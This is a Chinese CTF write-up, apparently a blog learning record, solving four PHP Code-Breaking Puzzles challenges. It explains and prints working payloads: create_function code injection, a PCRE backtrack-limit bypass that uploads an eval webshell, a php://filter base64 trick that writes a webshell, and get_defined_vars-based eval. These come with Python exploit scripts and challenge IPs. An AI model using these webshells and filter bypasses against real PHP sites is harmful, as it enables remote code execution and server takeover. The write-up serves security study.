美文网首页
Code-Breaking Puzzles 学习记录

Code-Breaking Puzzles 学习记录

作者: 烤地瓜啦 | 来源:发表于2019-01-07 16:25 被阅读0次

    尼玛一道题做不动,回炉重造,看完师傅们的WP,学习记录。


    平台地址

    0x01 easy - function

    <?php
    $action = $_GET['action'] ?? '';
    $arg = $_GET['arg'] ?? '';
    
    if(preg_match('/^[a-z0-9_]*$/isD', $action)) {
        show_source(__FILE__);
    } else {
        $action('', $arg);
    }
    

    这里直接蒙蔽了,不知道不用字母数字以及下划线的情况下如何调用函数,思路走偏了,其实看到 ^$ 应该想到 fuzz 一下开头和结尾的特殊字符的,正确的解法是在函数前面/ ,/function。P牛在小密圈给出的解释是:

    code-breaking puzzles第一题,function,为什么函数前面可以加一个%5c?奇技淫巧 其实简单的不行,php里默认命名空间是 \,所有原生函数和类都在这个命名空间中。普通调用一个函数,如果直接写函数名function_name()调用,调用的时候其实相当于写了一个相对路径;而如果写\function_name() 这样调用函数,则其实是写了一个绝对路径。 如果你在其他namespace里调用系统类,就必须写绝对路径这种写法。

    接下来需要找到某个函数第二个参数可控时可以利用的。函数create_function()非常合适,这里做一下记录create_function()代码注入

    string create_function    ( string $args   , string $code   )
    string $args 变量部分
    string $code 方法代码部分
    
    例如:
    create_function('$fname','echo $fname."Zhang"')
    
    function fT($fname) {
        echo $fname."Zhang";
    }
    
    有问题的代码
    <?php
    //02-8.php?id=2;}phpinfo();/*
    $id=$_GET['id'];
    $str2='echo  '.$a.'test'.$id.";";
    $f1 = create_function('$a',$str2);
    ?>
    
    执行函数为:
        #源代码:
            function fT($a) {
              echo "test".$a;
            }
    
       注入后代码:
            function fT($a) {
              echo "test";}
              phpinfo();/*;//此处为注入代码。
            }
    
    

    最终 payload 为 http://51.158.75.42:8087/?action=%5ccreate_function&arg=}eval($_POST['cmd']);//

    0x02 easy - pcrewaf

     <?php
    function is_php($data){
        return preg_match('/<\?.*[(`;?>].*/is', $data);
    }
    
    if(empty($_FILES)) {
        die(show_source(__FILE__));
    }
    
    $user_dir = 'data/' . md5($_SERVER['REMOTE_ADDR']);
    $data = file_get_contents($_FILES['file']['tmp_name']);
    if (is_php($data)) {
        echo "bad request";
    } else {
        @mkdir($user_dir, 0755);
        $path = $user_dir . '/' . random_int(0, 10) . '.php';
        move_uploaded_file($_FILES['file']['tmp_name'], $path);
    
        header("Location: $path", true, 303);
    } 
    

    这道题真的非常有意思,看完 P 牛的文章 PHP利用PCRE回溯次数限制绕过某些安全限制 真的感觉学到了很多,在此记录。单独抠出来试一试。

    <?php
    function is_php($data){//test.php
        return preg_match('/<\?.*[(`;?>].*/is', $data);
    }
    var_dump(is_php($_POST['data']));
    ?>
    
    import requests
    payload = ""
    data = {"data":payload}
    print(requests.post(url="http://127.0.0.1/test.php",data=data).text)
    

    payload"<?php echo 1;//"+"a"*1 时,返回为 int(1)
    payload"<?php echo 1;//"+"a"*1000000 时,返回为 bool(false),成功 bypass。

    现在来详细的学一下回溯的问题。在php的pcre扩展中,提供了两个设置项

    pcre.backtrack_limit //最大回溯数
    pcre.recursion_limit //最大嵌套数
    

    成功 bypassis_php的检测,就是就和设置项backtrack_limit 有关系,首先得搞清楚什么是回朔,举两个例子(贪婪匹配 与 非贪婪匹配):

        源字符串: baaa
        正则表达式:  /.*b.*/
    

    首先.\*取得控制权,因为是贪婪匹配直接匹配到末尾(baaa),但是显示是不对的,后面还有个b没有匹配到,所以开始回溯,向前一位(baa),再和后面的b匹配,仍无法匹配到,继续回溯,向前一位(ba),直到匹配到b,共产生了 3 次回溯。

        源字符串: aaab
        正则表达式:  /.*?b/
    

    首先 .\*\?取得控制权,因为是非贪婪匹配,所以先把控制权给 bb明显是匹配不上的(aaab),所以开始回溯把匹配权给.\*\? , .\*\?匹配一个 a后继续把控制权让给b,此时b仍然匹配不上(aab),继续回溯....... 共产生了 3 次回溯。

    默认的backtrack_limit100000,如果 回溯次数如果大于 backtrack_limit 则会匹配失败,停止回溯返回 false,所以如果用 preg_match 对字符串进行匹配,一定要使用 ===全等号来判断返回值。题目最终 payload 如下

    import requests
    
    files = {"file":"<?php eval($_POST['rabbit']);//"+"a"*1000000}
    r = requests.post(url="http://51.158.75.42:8088/",files=files)
    print(r.url)
    # /var/www/flag_php7_2_1s_c0rrect flag{216728a834fb4c1e0bc6893e135f436e}
    

    0x03 easy - phpmagic

     <?php
    if(isset($_GET['read-source'])) {
        exit(show_source(__FILE__));
    }
    
    define('DATA_DIR', dirname(__FILE__) . '/data/' . md5($_SERVER['REMOTE_ADDR']));
    
    if(!is_dir(DATA_DIR)) {
        mkdir(DATA_DIR, 0755, true);
    }
    chdir(DATA_DIR);
    
    $domain = isset($_POST['domain']) ? $_POST['domain'] : '';
    $log_name = isset($_POST['log']) ? $_POST['log'] : date('-Y-m-d');
    ?>
    <!doctype html>
    <html lang="en">
    <head>
        <!-- Required meta tags -->
        <meta charset="utf-8">
        <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
    
        <!-- Bootstrap CSS -->
        <link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/bootstrap@4.1.3/dist/css/bootstrap.min.css" integrity="sha256-eSi1q2PG6J7g7ib17yAaWMcrr5GrtohYChqibrV7PBE=" crossorigin="anonymous">
    
        <title>Domain Detail</title>
        <style>
        pre {
            width: 100%;
            background-color: #f6f8fa;
            border-radius: 3px;
            font-size: 85%;
            line-height: 1.45;
            overflow: auto;
            padding: 16px;
            border: 1px solid #ced4da;
        }
        </style>
    </head>
    <body>
    
    <div class="container">
        <div class="row">
            <div class="col">
                <form method="post">
                    <div class="input-group mt-3">
                        <div class="input-group-prepend">
                            <span class="input-group-text" id="basic-addon1">dig -t A -q</span>
                        </div>
                        <input type="text" name="domain" class="form-control" placeholder="Your domain">
                        <div class="input-group-append">
                            <button class="btn btn-outline-secondary" type="submit">执行</button>
                        </div>
                    </div>
                </form>
            </div>
        
        </div>
    
        <div class="row">
            <div class="col">
                <pre class="mt-3"><?php if(!empty($_POST) && $domain):
                    $command = sprintf("dig -t A -q %s", escapeshellarg($domain));
                    $output = shell_exec($command);
    
                    $output = htmlspecialchars($output, ENT_HTML401 | ENT_QUOTES);
    
                    $log_name = $_SERVER['SERVER_NAME'] . $log_name;
                    if(!in_array(pathinfo($log_name, PATHINFO_EXTENSION), ['php', 'php3', 'php4', 'php5', 'phtml', 'pht'], true)) {
                        file_put_contents($log_name, $output);
                    }
    
                    echo $output;
                endif; ?></pre>
            </div>
        </div>
    
    </div>
    
    </body>
    </html>
    

    $log_name$output 均可控,但 $output 经过了 htmlspecialchars() 的消毒。这里以前再小密圈里看到过绕过技巧,印象深刻。

    谈一谈php://filter的妙用

    这里可以通过为协议来进行绕过,$log_name = php://filter/write=convert.base64-decode/resource=shell.php,$domain=base64encode(code)这里还需要注意一下 base64 算法解码时的问题,位数需要为4的整数倍,并且因为我们是插入到中间,所以后面不能有==

    当$content被加上了<?php exit; ?>以后,我们可以使用 php://filter/write=convert.base64-decode 来首先对其解码。在解码的过程中,字符<、?、;、>、空格等一共有7个字符不符合base64编码的字符范围将被忽略,所以最终被解码的字符仅有“phpexit”和我们传入的其他字符。

    “phpexit”一共7个字符,因为base64算法解码时是4个byte一组,所以给他增加1个“a”一共8个字符。这样,"phpexita"被正常解码,而后面我们传入的webshell的base64内容也被正常解码。结果就是<?php exit; ?>没有了。

    最后还有一个 pathinfo($log_name, PATHINFO_EXTENSION), ['php', 'php3', 'php4', 'php5', 'phtml', 'pht'], true) 验证,只需要再后面加 /. 即可,这样pathinfo() 取不到后缀,而 file_put_contents()写入的时候又会递归删除 /.。综上,最后的 payload 如下:

    import requests
    
    headers ={"host":"p"}
    data = {"domain":"PD9waHAgZXZhbCgkX1BPU1RbJ2NtZCddKTs/Pg","log":"hp://filter/write=convert.base64-decode/resource=cc.php/."}
    r = requests.post(url="http://51.158.75.42:8082/index.php",data=data,headers=headers)
    print(r.text)
    #flag{8fd9046cde2d53d1ceea8970286fd38c}
    

    0x04 easy - phplimit

    <?php
    if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])) {    
        eval($_GET['code']);
    } else {
        show_source(__FILE__);
    }
    

    /[^\W]+\((?R)?\)/ 这是一个递归匹配,具体参考这里 PHP正则之递归匹配。匹配类似function(function(function())),先看一下 phpinfo() 的信息 http://51.158.75.42:8084/?code=phpinfo(); PHP Version 5.6.38 ,找一下这个版本有没有相应的函数可以利用。可以使用 get_defined_vars() 获取外部传如的变量

    此函数返回一个包含所有已定义变量列表的多维数组,这些变量包括环境变量、服务器变量和用户定义的变量。

    然后用操作数组元素的几个函数来选择传入的值

      current() - 返回数组中的当前元素的值
      end() - 将内部指针指向数组中的最后一个元素,并输出
      next() - 将内部指针指向数组中的下一个元素,并输出
      prev() - 将内部指针指向数组中的上一个元素,并输出
      reset() - 将内部指针指向数组中的第一个元素,并输出
      each() - 返回当前元素的键名和键值,并将内部指针向前移动
    

    payload : http://51.158.75.42:8084/?code=eval(next(current(get_defined_vars())));&cmd=phpinfo();
    http://51.158.75.42:8084/?code=eval(next(current(get_defined_vars())));&cmd=print(file_get_contents(%27/var/www/flag_phpbyp4ss%27));

    参考:

    Code-Breaking Puzzles做题记录

    相关文章

      网友评论

          本文标题:Code-Breaking Puzzles 学习记录

          本文链接:https://www.haomeiwen.com/subject/hfnurqtx.html